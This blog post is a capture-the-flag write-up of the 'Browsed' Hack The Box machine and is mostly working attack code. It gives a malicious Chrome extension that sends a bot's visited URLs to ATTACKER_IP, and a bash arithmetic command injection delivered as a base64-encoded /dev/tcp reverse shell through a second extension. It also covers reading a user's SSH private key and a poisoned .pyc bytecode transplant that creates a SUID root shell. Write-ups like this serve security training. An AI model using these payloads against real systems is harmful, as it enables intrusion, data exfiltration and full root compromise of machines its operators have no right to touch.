Post

Browsed

A site that auto-installs submitted Chrome extensions in a headless browser leaks internal vhost traffic, exposing a Gitea repo whose Flask app is vulnerable to bash arithmetic command injection delivered through a second malicious extension.

Browsed

Overview

Browsed is a medium-difficulty Linux box built around a Chrome extension testing service that installs uploaded extensions in a live headless browser. A spy extension leaks the developer bot’s browsing traffic, revealing an internal Gitea instance at browsedinternals.htb with source code showing a Flask app on localhost:5000 whose /routines/<rid> route passes unsanitized input to a bash script using the -eq arithmetic operator — enabling command injection via a second uploaded extension that calls the localhost endpoint through the bot’s own browser context. Once on the box as larry, a world-writable __pycache__ directory belonging to a sudo-executable Python script enables a .pyc bytecode transplant that runs arbitrary code as root.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High enumeration and real-life scores reflect the multi-layer recon across vhosts and Gitea source code, and the fact that SSRF-via-browser-bot and bash arithmetic injection are genuinely dangerous in production environments.

Recon

PortServiceNotes
22SSH (OpenSSH 9.6p1)standard; used later for stable session
80HTTP (nginx 1.24.0)Chrome extension upload site
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p 22,80 -sC -sV -Pn 10.10.10.X

Only two ports — the entire attack chain runs through the web app on port 80, which presents a Chrome extension upload and testing service.

Enumeration

Directory brute-forcing surfaces the upload endpoint and a samples page:

1
feroxbuster -u http://10.10.10.X -x php

/upload.php accepts a .zip containing a Chrome extension, installs it in a headless Chrome session run by a developer bot, and browses with it active. The critical observation is that any extension with webRequest and <all_urls> permissions can log every URL the bot visits — this is a classic Server-Side Request Forgery / information disclosure primitive via the browser itself.

Build a Manifest V3 spy extension that POSTs each visited URL back to an attacker-controlled listener:

1
printf '{"manifest_version":3,"name":"Monitor","version":"1.0","permissions":["webRequest"],"host_permissions":["<all_urls>"],"background":{"service_worker":"background.js"}}' > manifest.json
1
printf 'chrome.webRequest.onBeforeRequest.addListener(function(d){if(!d.url.includes("ATTACKER_IP")){fetch("http://ATTACKER_IP:4444",{method:"POST",body:JSON.stringify({url:d.url}),mode:"no-cors"});}},{urls:["<all_urls>"]});' > background.js && zip addon.zip manifest.json background.js

Start a listener, upload addon.zip, and wait roughly ten seconds. Incoming POST bodies reveal the bot navigating to browsedinternals.htb — an internal Gitea instance not exposed in DNS.

1
echo "10.10.10.X browsed.htb browsedinternals.htb" | sudo tee -a /etc/hosts

The Gitea instance hosts a public repository larry/MarkdownPreview. Clone it and read the server-side logic:

1
2
git clone http://browsedinternals.htb/larry/MarkdownPreview.git
cat MarkdownPreview/routines.sh

The bash script contains:

1
[[ "$1" -eq 0 ]]

Bash’s -eq operator forces arithmetic evaluation of its operands. The expression a[$(cmd)] is valid array-subscript syntax, causing cmd to be executed — this is the command injection vector. Because the Flask server only binds to localhost:5000, the attacker cannot reach it directly, but the developer’s headless Chrome browser can.

Verify the injection locally:

1
./MarkdownPreview/routines.sh 'a[$(id >/proc/$$/fd/1)]'

Foothold

Build a second malicious extension that instructs the developer bot’s Chrome instance to call the localhost Flask endpoint with the payload embedded in the route parameter. The reverse shell command is base64-encoded to avoid URL-encoding issues:

1
nc -nvlp 9001
1
2
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1' | base64 -w0)
printf "fetch(\"http://127.0.0.1:5000/routines/\"+encodeURIComponent(\"a[\$(echo ${B64}|base64 -d|bash)]\"));" > background.js && zip pwn.zip manifest.json background.js

Upload pwn.zip to /upload.php. The developer bot installs the extension and fetches the crafted URL, triggering the bash arithmetic injection on the Flask server. A reverse shell arrives as larry.

Upgrade to a fully interactive PTY:

1
script /dev/null -c bash

Press Ctrl+Z, then:

1
stty raw -echo; fg

Type reset and hit Enter. Grab larry’s SSH key for a stable session:

1
2
cat /home/larry/.ssh/id_ed25519
ssh -i larry_key [email protected]

User flag

1
cat /home/larry/user.txt   # HTB{...}

The shell lands as larry — the only unprivileged user on the box — and the user flag is ours.

Privilege Escalation

Check sudo permissions:

1
sudo -l

Output: (root) NOPASSWD: /opt/extensiontool/extension_tool.py

Inspect the script’s module directory:

1
2
ls -la /opt/extensiontool/
ls -la /opt/extensiontool/__pycache__/

The __pycache__ directory is drwxrwxrwx — world-writable. Python caches compiled bytecode in .pyc files here; when the privileged script imports extension_utils, Python checks the 16-byte header (magic number, timestamp, file size) and loads the cached bytecode without cryptographic verification of the body. A world-writable cache directory allows transplanting a malicious bytecode body under a legitimate header, a form of untrusted search path / incorrect permission assignment exploitation.

Run the sudo script once to generate a fresh .pyc with a valid header:

1
sudo /opt/extensiontool/extension_tool.py

Compile a malicious module stub implementing the same function names as extension_utils:

1
printf 'def validate_manifest(path):\n    import os;os.system("cp /bin/bash /tmp/rb;chmod 4755 /tmp/rb")\ndef clean_temp_files(path):\n    import os;os.system("cp /bin/bash /tmp/rb;chmod 4755 /tmp/rb")\n' > /tmp/evil.py && python3 -m py_compile /tmp/evil.py

Transplant the legitimate 16-byte header onto the malicious bytecode — the header lives at a known path after the first sudo run:

1
2
3
4
5
6
7
8
python3 -c "
p='/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
e='/tmp/__pycache__/evil.cpython-312.pyc'
h=open(p,'rb').read(16)
d=open(e,'rb').read()
import os; os.remove(p)
open(p,'wb').write(h+d[16:])
"

Trigger the sudo script again — Python loads the poisoned cache and executes the payload as root, creating a SUID bash at /tmp/rb:

1
sudo /opt/extensiontool/extension_tool.py --ext Fontify
1
/tmp/rb -p

The -p flag preserves the effective UID (root).

Root flag

1
cat /root/root.txt   # HTB{...}

Full root compromise achieved via world-writable __pycache__ privilege escalation.

This post is licensed under CC BY 4.0 by the author.